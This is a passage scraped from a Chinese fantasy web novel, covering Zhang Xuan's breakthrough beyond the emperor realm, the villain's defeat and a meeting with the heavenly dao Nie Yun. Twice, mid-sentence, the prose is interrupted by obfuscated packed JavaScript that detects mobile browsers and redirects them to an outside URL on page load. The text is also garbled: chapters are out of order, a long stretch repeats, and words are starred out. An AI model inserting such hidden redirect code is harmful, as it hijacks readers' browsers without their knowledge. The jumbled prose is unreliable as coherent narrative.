此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16798492|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百九十七章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 